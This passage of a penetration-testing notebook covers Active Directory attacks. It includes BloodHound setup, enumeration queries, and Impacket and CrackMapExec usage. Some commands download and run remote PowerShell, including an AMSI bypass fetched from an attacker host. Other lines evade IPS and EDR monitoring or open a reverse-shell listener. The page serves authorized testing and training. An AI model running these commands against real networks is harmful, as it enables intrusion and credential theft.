> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad.md).

# AD

* <https://habr.com/ru/company/pt/blog/423903/>
* <https://habr.com/ru/company/jetinfosystems/blog/449278/>
* <https://habr.com/ru/company/bastion/blog/598769/>
* <https://xakep.ru/2019/10/16/windows-ad-hack/>
* <https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/>
* <https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/>
* <https://kalitut.com/hacking-windows-active-directory-full/>
* <https://rmusser.net/docs/Active_Directory.html>
* <https://zer1t0.gitlab.io/posts/attacking_ad/>
* <https://rootdse.org/posts/active-directory-basics-1/>
* <https://rootdse.org/posts/active-directory-basics-2/>
* [Атаки на домен / XSS.is](https://xss.is/threads/29895/)
* [\[PDF\] A Decade of Active Directory Attacks: What We've Learned & What's Next (Sean Metcalf)](https://troopers.de/downloads/troopers24/TR24_A_Decade_of_Active_Directory_Attacks_VXS8WY.pdf)

{% embed url="<https://youtu.be/5VW_eQD1-eA>" %}

{% embed url="<https://youtu.be/ReHn7c8qlIo>" %}

{% embed url="<https://www.youtube.com/live/_Yuu4RaMWDY?feature=share>" %}

{% embed url="<https://music.yandex.ru/album/21374924>" %}

{% embed url="<https://lolol.farm/>" %}

{% embed url="<https://github.com/cfalta/MicrosoftWontFixList/blob/main/README.md>" %}

![Pentesting AD Mindmap](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg)

## AD Labs

* <https://github.com/chvancooten/CloudLabsAD>
* <https://github.com/WazeHell/vulnerable-AD>

### Capsulecorp

* <https://livebook.manning.com/book/penetrating-enterprise-networks/>
* <https://github.com/R3dy/capsulecorp-pentest>
* <https://realhax.gitbook.io/capsulecorp-pentest/setup/windows>

### Game Of Active Directory

* [GOAD - part 1 - reconnaissance and scan](https://mayfly277.github.io/posts/GOADv2-pwning_part1/)
* [GOAD - part 2 - find users](https://mayfly277.github.io/posts/GOADv2-pwning-part2/)
* [GOAD - part 3 - enumeration with user](https://mayfly277.github.io/posts/GOADv2-pwning-part3/)
* [GOAD - part 4 - poison and relay](https://mayfly277.github.io/posts/GOADv2-pwning-part4/)
* [GOAD - part 5 - exploit with user](https://mayfly277.github.io/posts/GOADv2-pwning-part5/)
* [GOAD - part 6 - ADCS](https://mayfly277.github.io/posts/GOADv2-pwning-part6/)
* [GOAD - part 7 - MSSQL](https://mayfly277.github.io/posts/GOADv2-pwning-part7/)
* [GOAD - part 8 - Privilege escalation](https://mayfly277.github.io/posts/GOADv2-pwning-part8/)
* [GOAD - part 9 - Lateral move](https://mayfly277.github.io/posts/GOADv2-pwning-part9/)
* [GOAD - part 10 - Delegations](https://mayfly277.github.io/posts/GOADv2-pwning-part10/)
* [GOAD - part 11 - ACL](https://mayfly277.github.io/posts/GOADv2-pwning-part11/)
* [GOAD - part 12 - Trusts](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
* [GOAD - part 13 - Having fun inside a domain](https://mayfly277.github.io/posts/GOADv2-pwning-part13/)
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15](https://mayfly277.github.io/posts/ADCS-part14/)
* <https://github.com/Orange-Cyberdefense/GOAD>

#### SCCM / MECM

* [SCCM / MECM LAB - Part 0x0](https://mayfly277.github.io/posts/SCCM-LAB-part0x0/)
* [SCCM / MECM LAB - Part 0x1 - Recon and PXE](https://mayfly277.github.io/posts/SCCM-LAB-part0x1/)
* [SCCM / MECM LAB - Part 0x2 - Low user](https://mayfly277.github.io/posts/SCCM-LAB-part0x2/)
* [SCCM / MECM LAB - Part 0x3 - Admin User](https://mayfly277.github.io/posts/SCCM-LAB-part0x3/)

#### Exchange

* [Exchange - Part 1 - no creds](https://mayfly277.github.io/posts/Exchange-part1/)

#### Winning GOAD

* [\[PDF\] Winning the Game Of Active Directory (@techBrandon)](https://github.com/techBrandon/DC32-GOAD/blob/main/WinningGOAD.pdf)

## Bank Security Challenge

* [MSK Department](https://hackmd.io/@BSC/SyCdGCSGi)
* [SPB Department](https://hackmd.io/@BSC/B1uCALDfi)

## The Path to DA

* <https://shorsec.io/blog/the-path-to-da-part-1-sysadmins-love-generic-passwords/>
* <https://shorsec.io/blog/the-path-to-da-part-2-relaying-to-the-internet-and-back/>

## Tools

### BloodHound

* <https://github.com/BloodHoundAD/BloodHound>
* <https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-1/>
* <https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-2/>
* <https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/>
* <https://habr.com/ru/companies/solarsecurity/articles/681108/>
* <https://habr.com/ru/companies/solarsecurity/articles/707190/>
* <https://habr.com/ru/companies/solarsecurity/articles/719714/>
* [\[PDF\] BloodHound Unleashed (Esteban Rodriguez, Frank Scarpella)](https://github.com/n00py/CactusCon2023/blob/main/BloodHound%20Unleashed.pdf)

#### Setup

{% tabs %}
{% tab title="BloodHound" %}

* [BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)

Quick start:

```bash
curl -sSL https://api.github.com/repos/ly4k/BloodHound/releases/latest | jq -r '.assets[].browser_download_url' | grep 'BloodHound-linux-x64.zip' | wget -O 'BloodHound.zip' -i -
unzip BloodHound.zip && rm BloodHound.zip
mv BloodHound-linux-x64 BloodHound && cd BloodHound
sudo chown root:root chrome-sandbox
sudo chmod 4755 chrome-sandbox
chmod +x BloodHound
sudo mkdir /usr/share/neo4j/logs/

mkdir -p ~/.config/bloodhound
curl -sSL https://github.com/ThePorgs/Exegol-images/raw/main/sources/assets/bloodhound/customqueries.json > /tmp/customqueries1.json
curl -sSL https://github.com/CompassSecurity/BloodHoundQueries/raw/master/BloodHound_Custom_Queries/customqueries.json > /tmp/customqueries2.json
curl -sSL https://github.com/ZephrFish/Bloodhound-CustomQueries/raw/main/customqueries.json > /tmp/customqueries3.json
curl -sSL https://github.com/ly4k/Certipy/raw/main/customqueries.json > /tmp/customqueries4.json
curl -sSL https://github.com/emiliensocchi/azurehound-queries/raw/main/customqueries.json > /tmp/customqueries5.json

python3 - << 'EOT'
import json
from pathlib import Path

merged, dups = {'queries': []}, set()
for jf in sorted((Path('/tmp')).glob('customqueries*.json')):
	with open(jf, 'r') as f:
		for query in json.load(f)['queries']:
			if 'queryList' in query.keys():
				qt = tuple(q['query'] for q in query['queryList'])
				if qt not in dups:
					merged['queries'].append(query)
					dups.add(qt)

with open(Path.home() / '.config' / 'bloodhound' / 'customqueries.json', 'w') as f:
	json.dump(merged, f, indent=4)

EOT

rm /tmp/customqueries*.json
curl -sSL "https://github.com/ThePorgs/Exegol-images/raw/main/sources/assets/bloodhound/config.json" > ~/.config/bloodhound/config.json
sed -i 's/"password": "exegol4thewin"/"password": "WeaponizeK4li!"/g' ~/.config/bloodhound/config.json
```

Boost neo4j performance via [memory configuration](https://neo4j.com/docs/operations-manual/current/performance/memory-configuration/) tweaks (recommended value is 1/4 of total RAM):

```conf
# /etc/neo4j/neo4j.conf
dbms.memory.heap.initial_size=4G
dbms.memory.heap.max_size=4G
```

{% endtab %}

{% tab title="BHCE" %}

* [SpecterOps/BloodHound](https://github.com/SpecterOps/BloodHound)
* <https://hacker4u.medium.com/bloodhound-community-edition-bhce-e35bf49fcfe6>
* <https://blog.spookysec.net/Deploying-BHCE/>

Quick start:

```bash
curl -sSL https://ghst.ly/getbhce -o docker-compose.yml
sed -i 's|is the variable available outside of Docker|is the variable available outside of Docker\n      - bhe_default_admin_principal_name=${bhe_default_admin_principal_name}\n      - bhe_default_admin_password=${bhe_default_admin_password}\n      - bhe_default_admin_email_address=${bhe_default_admin_email_address}|g' docker-compose.yml
curl -sSL https://github.com/SpecterOps/BloodHound/raw/refs/heads/main/examples/docker-compose/.env.example -o .env
sed -i 's|#NEO4J_DATA_MOUNT=./neo4j/data|NEO4J_DATA_MOUNT=./neo4j/data|g' .env
sed -i 's|#bhe_default_admin_principal_name=|bhe_default_admin_principal_name=admin|g' .env
sed -i 's|#bhe_default_admin_password=|bhe_default_admin_password=1|g' .env
sed -i 's|#bhe_default_admin_email_address=|bhe_default_admin_email_address=admin@bhce.local|g' .env
docker compose pull && docker compose up
```

Import custom queries from legacy BloodHound (can be also done [manually](https://medium.com/seercurity-spotlight/make-bloodhound-cool-again-migrating-custom-queries-from-legacy-bloodhound-to-bloodhound-ce-83cffcfe5b64)):

```bash
pipx install -f "git+https://github.com/exploide/bloodhound-cli.git"
bhcli auth 127.0.0.1:8080 -u admin -p 'Passw0rd!123'
bhcli queries ~/.config/bloodhound/customqueries.json
```

BloodHound.py BHCE branch:

```bash
pipx install -f "git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce"
```

Reset ALL:

```bash
docker compose down
docker volume rm `docker volume ls -q | grep -e neo4j-data -e postgres-data`
```

To convert legacy BloodHound dumps to BHCE one can use [bloodhound-convert](https://github.com/szymex73/bloodhound-convert).
{% endtab %}
{% endtabs %}

#### Collectors

**SharpHound.exe**

* [https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe](https://github.com/SpecterOps/BloodHound-Legacy/raw/master/Collectors/SharpHound.exe)
* <https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html>
* <https://ipurple.team/2024/07/15/sharphound-detection/>

![SharpHound cheatsheet (by @SadProcessor)](https://web.archive.org/web/20250702121547if_/https://bloodhound.readthedocs.io/en/latest/_images/SharpHoundCheatSheet.png)

```
Cmd > SharpHound.exe [-d megacorp.local] [--LdapUsername snovvcrash] [--LdapPassword 'Passw0rd!'] -c DCOnly/All,GPOLocalGroup [--CollectAllProperties] --OutputDirectory C:\Windows\Temp [--MemCache/--CacheName ccache.bin] --ZipFileName backup.zip [--ZipPassword Passw0rd] [--RandomFilenames] --LdapPort 636 --SecureLdap --DisableCertVerification --SkipPortCheck --SkipPasswordCheck --ExcludeDCs --SkipRegistryLoggedOn [--Throttle 100] [--Jitter 20]
Cmd > SharpHound.exe -c SessionLoop --Loop --LoopInterval 00:01:00 --Loopduration 03:09:41
```

**SharpHound.ps1**

* <https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1>

```
PS > Invoke-Bloodhound [-Domain megacorp.local] [-LdapUsername snovvcrash] [-LdapPassword 'Passw0rd!'] -CollectionMethod DCOnly/All,GPOLocalGrou [-CollectAllProperties] -OutputDirectory C:\Windows\Temp -NoSaveCache -RandomizeFilenames -ZipFileName backup.zip [-Throttle 100] [-Jitter 20]
PS > Invoke-Bloodhound -CollectionMethod SessionLoop -Loop -LoopInterval 00:01:00 -Loopduration 03:09:41
```

**BloodHound.py**

* <https://github.com/fox-it/BloodHound.py>

```
$ cd ~/ws/enum/bloodhound/bloodhound.py/
$ bloodhound-python -c All,LoggedOn --zip -u snovvcrash -p 'Passw0rd!' -d megacorp.local -ns 192.168.1.11
$ proxychains4 -q bloodhound-python -c DCOnly --zip -d megacorp.local -k -u snovvcrash --auth-method kerberos -ns 192.168.1.11 -dc DC01.megacorp.local -gc DC01.megacorp.local --disable-autogc --dns-tcp --dns-timeout 10
```

Import with [bloodhound-import](https://github.com/fox-it/bloodhound-import):

```
$ bloodhound-import -du neo4j -dp 'Passw0rd!' 20190115133114*.json
```

**RustHound**

* <https://github.com/OPENCYBER-FR/RustHound>
* <https://github.com/g0h4n/RustHound-CE>

```
$ proxychains4 -q rusthound -d megacorp.local -k --dc-only --adcs [--fqdn-resolver] -z -f DC01.megacorp.local -i 192.168.1.11 -n 192.168.1.11 -P 636 --ldaps --dns-tcp -o bh/
```

**ADWS**

* <https://falconforce.nl/soaphound-tool-to-collect-active-directory-data-via-adws/>
* <https://github.com/FalconForceTeam/SOAPHound>
* <https://github.com/wh0amitz/SharpADWS>
* <https://blog.fndsec.net/2024/11/25/shadowhound/>
* <https://github.com/Friends-Security/ShadowHound>
* <https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/>
* <https://github.com/logangoins/SoaPy>

```
PS > IEX(New-Object Net.WebClient).DownloadString("https://github.com/Friends-Security/ShadowHound/raw/refs/heads/main/ShadowHound-ADM.ps1")
PS > ShadowHound-ADM -Server DC01.megacorp.local -SplitSearch -LetterSplitSearch -OutputFilePath "C:\ldap_output.txt"
PS > ShadowHound-ADM -Server DC01.megacorp.local -Certificates -OutputFilePath "C:\certs_output.txt"
# cd \ && lcd /tmp && get ldap_output.txt certs_output.txt ...
$ curl -sSL https://github.com/Friends-Security/ShadowHound/raw/refs/heads/main/split_output.py | sed 's/\.txt"/\.log"/g' > /tmp/split_output.py
$ mkdir /tmp/pyldapsearch_logs && cd /tmp/pyldapsearch_logs
$ python3 ../split_output.py -i ../ldap_output.txt -o pyldapsearch_logs -n 100
$ bofhound -i . -p All --parser ldapsearch && rm *.log
$ python3 ../split_output.py -i ../certs_output.txt -o pyldapsearch_logs -n 100
$ bofhound -i . -p All --parser ldapsearch && rm *.log
$ mv *.json ~/projects/megacorp/bh && cd ~/projects/megacorp/bh && rm -rf /tmp/pyldapsearch_logs
```

**BOFHound**

* <https://www.fortalicesolutions.com/posts/bofhound-granularize-your-active-directory-reconnaissance-game>
* <https://posts.specterops.io/bofhound-session-integration-7b88b6f18423>
* <https://posts.specterops.io/bofhound-ad-cs-integration-91b706bc7958>
* <https://github.com/coffeegist/bofhound>
* <https://github.com/coffeegist/pyldapsearch>

Install:

```
$ pipx install -f "git+https://github.com/Tw1sm/pyldapsearch.git" "git+https://github.com/coffeegist/bofhound.git"
```

An example of manual AD CS data collecting:

```
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "DC=megacorp,DC=local" '(objectclass=domain)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=pKIEnrollmentService)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=certificationAuthority)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=pKICertificateTemplate)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=msPKI-Enterprise-Oid)' -attributes '*,ntsecuritydescriptor' -silent
```

Resolve a SID:

```
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps '(objectSid=S-1-5-21-2513662962-556311701-4231341873-512)' -attributes '*,ntsecuritydescriptor'
```

Resolve group memebership:

```
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps '(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=megacorp,DC=local)' -attributes '*,ntsecuritydescriptor'
```

Parse:

```
$ bofhound -i ~/.pyldapsearch/logs --parser ldapsearch --zip
```

**ADExplorerSnapshot.py**

* <https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer>
* <https://github.com/c3c/ADExplorerSnapshot.py>

You may also want to [patch](https://x.com/saerxcit/status/1918245612245455133) the `(objectGUID=*)` IoC in **ADExplorer64.exe** with a HEX editor ;)

#### Cypher (Neo4j)

* <https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/>
* <https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/bloodhound/Handy-BloodHound-Cypher-Queries.md>
* <https://github.com/ShutdownRepo/Exegol/blob/master/sources/bloodhound/customqueries.json>
* <https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json>
* <https://github.com/ZephrFish/Bloodhound-CustomQueries/blob/main/customqueries.json>
* <https://github.com/ly4k/Certipy/blob/main/customqueries.json>

{% embed url="<https://queries.specterops.io/>" %}

Show percentage of collected user sessions:

{% embed url="<https://youtu.be/q86VgM2Tafc?t=353>" %}

```
# http://localhost:7474/browser/
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange
```

Show path to any computer from kerberoastable users:

```
MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p
```

#### Manual JSON Parsing

* <https://blog.bitsadmin.com/blog/dealing-with-large-bloodhound-datasets>
* <https://github.com/bitsadmin/chophound>
* <https://github.com/knavesec/Max>

{% embed url="<https://youtu.be/o3W4H0UfDmQ>" %}

There're 2 global dicts in JSON files: `data` and `meta`. We care about `data`:

```json
$ cat 19700101000000_users.json | jq '. | keys'
[
  "data",
  "meta"
]
```

List all active user accounts:

```
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true) | .samaccountname' -r
```

List non-empty user accounts' descriptions:

```
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .description != null) | .name + " :: " + .description' -r
```

List user accounts whose passwords were set after their last logon (an effective list for password spraying assuming that the passwords were set by IT Desk and may be guessable):

```
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .pwdlastset > .lastlogontimestamp) | .name + " :: " + (.lastlogontimestamp | tostring)' -r
```

List user accounts with `DoesNotRequirePreAuth` set (aka [asreproastable](/pentest/infrastructure/ad/kerberos/roasting.md#asreproasting)):

```
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .dontreqpreauth == true) | .name' -r
```

List user accounts with SPN(s) set (aka [kerberoastable](/pentest/infrastructure/ad/kerberos/roasting.md#kerberoasting))

```
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .serviceprincipalnames != []) | .name + " :: " + (.serviceprincipalnames | join(","))' -r
```

List computer accounts' operating system names:

```
$ cat 19700101000000_computers.json | jq '.data[].Properties | .name + " :: " + .operatingsystem' -r
```

Make a list of all SQL servers (can be extrapolated to any SPN-based service):

```
$ cat 19700101000000_computers.json | jq '.data[].Properties | select(.enabled == true and .serviceprincipalnames != []) | .serviceprincipalnames' | grep MSSQL | awk -F/ '{print $2}' | awk -F\" '{print $1}' | grep -v :1433 | sort -u > mssql.txt
```

Recursively list all members of a group (mimics RSAT `Get-ADGroupMember`, [script](https://github.com/snovvcrash/WeaponizeKali.sh/blob/main/py/bh_get_ad_group_member.py)):

```
$ ls
20220604043009_computers.json  20220604043009_groups.json  20220604043009_users.json
$ python3 get_ad_group_member.py 'DOMAIN ADMINS@MEGACORP.LOCAL'
```

Recursively list all groups which the user is a member of (mimics RSAT `Get-ADUser | select memberof`, [script](https://github.com/snovvcrash/WeaponizeKali.sh/blob/main/py/bh_get_ad_user_memberof.py)):

```
$ ls
20220604043009_groups.json  20220604043009_users.json
$ python3 get_ad_user_memberof.py 'SNOVVCRASH@MEGACORP.LOCAL'
```

Generate a `.csv` file containing AD trusts mapping to be used in [TrustVisualizer](https://github.com/snovvcrash/TrustVisualizer) (mimics PowerView `Get-DomainTrustMapping`, [script](https://github.com/snovvcrash/WeaponizeKali.sh/blob/main/py/bh_get_domain_trust_mapping.py)):

```
$ ls
20220604043009_domains.json
$ python3 get_domain_trust_mapping.py
```

### PowerView / SharpView / powerview\.py

* <https://www.harmj0y.net/blog/powershell/make-powerview-great-again/>
* <https://github.com/HarmJ0y/CheatSheets/blob/master/PowerView.pdf>
* <https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993>
* [PowerView2.ps1](https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1)
* [PowerView3.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
* [ZeroDayLab](https://exploit.ph/powerview.html) / [PowerView4.ps1](https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1)
* [0xe7 / PowerView4.ps1](https://github.com/0xe7/PowerSploit/blob/master/Recon/PowerView.ps1)
* [SharpView.exe](https://github.com/tevora-threat/SharpView/blob/master/Compiled/SharpView.exe)

```
$ pipx install -f "git+https://github.com/aniqfakhrul/powerview.py.git"
$ pipx inject powerview "git+https://github.com/ThePirateWhoSmellsOfSunflowers/ldap3.git@tls_cb_and_seal_for_ntlm"
```

#### Example Queries

**Users**

Convert SID to name and vice versa:

```
PV3 > ConvertTo-SID <NAME>
PV3 > Convert-NameToSid <NAME>
PV3 > ConvertFrom-SID <SID>
PV3 > Convert-SidToName <SID>
```

Extract all domain user accounts into a `.csv` file:

```
PV3 > Get-DomainUser -Domain megacorp.local | select name,samAccountName,description,memberOf,whenCreated,pwdLastSet,lastLogonTimestamp,accountExpires,adminCount,userPrincipalName,servicePrincipalName,mail,userAccountControl | Export-Csv .\all-users.csv -NoTypeInformation
```

List domain user accounts that do not require Kerberos **pre-authentication** (see [ASREPRoasting](/pentest/infrastructure/ad/kerberos/roasting.md#asreproasting)):

```
PS > .\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired -Properties samAccountName,userAccountControl,memberOf
```

List domain user accounts with **Service Principal Names** (SPNs) set (see [Kerberoasting](/pentest/infrastructure/ad/kerberos/roasting.md#kerberoasting)):

```
PS > .\SharpView.exe Get-DomainUser -SPN -Properties samAccountName,memberOf,servicePrincipalName
```

List domain user accounts with Kerberos **unconstrained delegation** enabled:

```
PS > .\SharpView.exe Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
```

List domain user accounts with Kerberos **constrained delegation** enabled:

```
PS > .\SharpView.exe Get-DomainUser -TrustedToAuth -Properties samAccountName,userAccountControl,memberOf
```

Search for domain user accounts which may have sensitive stored in the `description` field:

```
PV3 > Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}
```

Search for domain user by email:

```
PV3 > Get-DomainUser -LDAPFilter '(mail=snovvcrash@megacorp.com)' -Properties samaccountname
```

Find users with DCSync right:

```
PV3 > $dcsync = Get-DomainObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll" -or $_.ObjectAceType -match "Replication-Get"} | select -ExpandProperty SecurityIdentifier | select -ExpandProperty value
PV3 > Convert-SidToName $dcsync
```

**Groups**

Enumerate domain computers where specific users (Identity) are members of a specific local group (LocalGroup):

```
PV3 > Get-DomainGPOUserLocalGroupMapping -Identity snovvcrash -LocalGroup Administrators
```

**Computers**

Extract all domain computer accounts into a `.csv` file:

```
PV3 > Get-DomainComputer -Properties dnsHostName,operatingSystem,lastLogonTimestamp,userAccountControl | Export-Csv .\all-computers.csv -NoTypeInformation
```

List domain computer accounts that allow Kerberos **unconstrained delegation**:

```
PS > .\SharpView.exe Get-DomainComputer -Unconstrained -Properties dnsHostName,userAccountControl
```

Resolve all domain computer IPs by their names:

```
PV3 > Get-DomainComputer -Properties name | Resolve-IPAddress
```

List domain computers that are part of a OU:

```
PV3 > Get-DomainComputer | ? { $_.DistinguishedName -match "OU=<OU_NAME>" } | select dnsHostName
```

**Shares**

List shares for `WS01` computer:

```
PS > .\SharpView.exe Get-NetShare -ComputerName WS01
```

**GPOs**

List all domain users with a 4-digit RID (eliminates default objects like 516, 519, etc.) who can edit GPOs:

```
PV3 > Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "<SID>-[\d]{4,10}" } | select objectDN, activeDirectoryRights, securityIdentifier | fl
```

Resolve GPO ObjectDN:

```
PV3 > Get-DomainGPO -Name "<DN>" -Properties DisplayName
```

### Impacket

* <https://github.com/fortra/impacket>
* <https://github.com/ThePorgs/impacket>
* <https://github.com/icyguider/MoreImpacketExamples>
* <https://tools.thehacker.recipes/impacket>
* <https://www.synacktiv.com/en/publications/traces-of-windows-remote-command-execution.html>
* <https://habr.com/ru/post/703332/>
* <https://habr.com/ru/companies/pt/articles/745550/>
* <https://github.com/mandiant/red_team_tool_countermeasures/tree/master/rules/IMPACKETOBF/production>
* <https://n7wera.notion.site/Modifing-Impacket-to-avoid-detection-4df93e4bdbdc439988d79864774af569>

{% file src="/files/OwWhtHSuGGiRwvbInVtE" %}

Install:

```
$ pipx install -f "git+https://github.com/fortra/impacket.git"
$ pipx install -f "git+https://github.com/ThePorgs/impacket.git"
$ pipx install -f "git+https://github.com/p0dalirius/smbclient-ng"
```

#### Static Binaries

* <https://github.com/ropnop/impacket_static_binaries>
* <https://github.com/maaaaz/impacket-examples-windows>
* <https://github.com/Qazeer/OffensivePythonPipeline/tree/main/binaries/impacket>
* <https://github.com/LuemmelSec/ntlmrelayx.py_to_exe>

#### Build Examples

* <https://github.com/indygreg/PyOxidizer>
* <https://github.com/RustPython/RustPython>

{% tabs %}
{% tab title="Nuitka (Windows)" %}

* <https://github.com/Nuitka/Nuitka>
* <https://habr.com/ru/companies/sberbank/articles/710690/>

```
Cmd > py -3.12 -m pip install impacket nuitka
Cmd > py -3.12 -m nuitka .\impacket\examples\smbclient.py --onefile --onefile-tempdir-spec={TEMP}\smbclient --output-filename=smbclient --follow-imports --jobs=16 [--windows-console-mode=disable] [--mingw64]
Cmd > smbclient.exe --help
```

{% endtab %}

{% tab title="staticx (Linux)" %}

* <https://github.com/JonathonReinhart/staticx>

```
$ git clone https://github.com/fortra/impacket /tmp/impacket && cd /tmp/impacket
$ docker run -it -v `pwd`:/app -w /app ubuntu:22.04
# apt update && apt install python3-dev python3-pip patchelf file -y
# pip install . pyinstaller staticx
# pyinstaller --specpath /tmp/spec --workpath /tmp/build --distpath /tmp/out --clean -F examples/smbclient.py [--collect-submodules gssapi.raw]
# staticx /tmp/out/smbclient examples/smbclient.py.elf
# file examples/smbclient.py.elf
examples/smbclient.py.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, with debug_info, not stripped
```

{% endtab %}
{% endtabs %}

#### Programming Manuals

* [https://github.com/xzxxzzzz000/impacket-programming-manual](https://github.com/xzxxzzzz000/impacket-programming-manual/blob/main/impacket%E7%BC%96%E7%A8%8B%E6%89%8B%E5%86%8C.md)
* <https://cicada-8.medium.com/impacket-developer-guide-part-1-rpc-4df4fe6d79d7>
* <https://cicada-8.medium.com/impacket-developer-guide-part-2-finding-rpc-on-the-system-and-some-words-about-in-security-7df65acbd621>
* <https://cicada-8.medium.com/impacket-developer-guide-part-3-make-your-own-lateral-movement-a2f8181f657b>

### {Crack,Sharp,Ps}MapExec / NetExec

* <https://github.com/byt3bl33d3r/CrackMapExec>
* <https://github.com/Pennyw0rth/NetExec>
* <https://github.com/Pennyw0rth/NetExec>
* <https://github.com/cube0x0/SharpMapExec>
* <https://github.com/The-Viper-One/PsMapExec>
* <https://github.com/seriotonctf/cme-nxc-cheat-sheet>
* <https://github.com/Pennyw0rth/NetExec-Lab>

![CrackMapExec Mindmap](https://raw.githubusercontent.com/Ignitetechnologies/Mindmap/main/Crackmapexec/Crackmapexec%20UHD.png)

Install bleeding-edge:

```
$ sudo apt install python3-venv && pip3 install pipx
$ pipx install -f "git+https://github.com/Porchetta-Industries/CrackMapExec.git"
$ cme
```

[aardwolf](https://github.com/skelsec/aardwolf) requires Rust compiler to be also installed:

```
$ sudo snap install rustup --classic
$ rustup toolchain install stable
```

Install for debugging and development:

```
$ git clone --recursive https://github.com/Porchetta-Industries/CrackMapExec ~/tools/CrackMapExec && cd ~/tools/CrackMapExec
$ poetry install
$ poetry run crackmapexec
```

Execute a PowerShell command using base64 encoding on-the-fly:

```
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x "powershell -enc `echo -n 'iex(new-object net.webclient).downloadstring("http://10.10.13.37/amsi.ps1");iex(new-object net.webclient).downloadstring("http://10.10.13.37/cradle.ps1")' | iconv -t UTF-16LE | base64 -w0`"
```

Bypass network IPS restrictions:

```
$ sudo nmap -n -sn 192.168.1.0/24 | grep for | awk '{print $5}' > 192.168.1
$ for ip in `cat 192.168.1`; do cme smb $ip; sleep 1; done
Or
$ cme -t 1 --jitter 1 smb 192.168.1.0/24
```

#### Custom Switches

Bypass execution restrictions of EDRs monitoring for `WmiPrvSE.exe` misbehavior with custom switches (see [dotnetassembly](https://github.com/snovvcrash/CrackMapExec/tree/dotnetassembly) branch).

Get the dependencies and stuff:

```
$ sudo apt install mono-devel
$ git clone --single-branch -b syscalls https://github.com/S4ntiagoP/donut ~/tools/donut && cd ~/tools/donut && make && sudo ln -sv `realpath donut` /usr/local/bin/donut && cd -
$ wget https://github.com/snovvcrash/CrackMapExec/raw/dotnetassembly/cme/data/donut_template.cs -O ~/.cme/donut_template.cs
$ wget https://github.com/snovvcrash/CrackMapExec/raw/dotnetassembly/cme/protocols/smb.py -O ~/.local/pipx/venvs/crackmapexec/lib/python3.10/site-packages/cme/protocols/smb.py
```

Example of invoking a PowerShell module ([ConPtyShell](https://github.com/antonioCoco/ConPtyShell)):

```
$ stty raw -echo; (stty size; cat) | nc -lvnp 1337
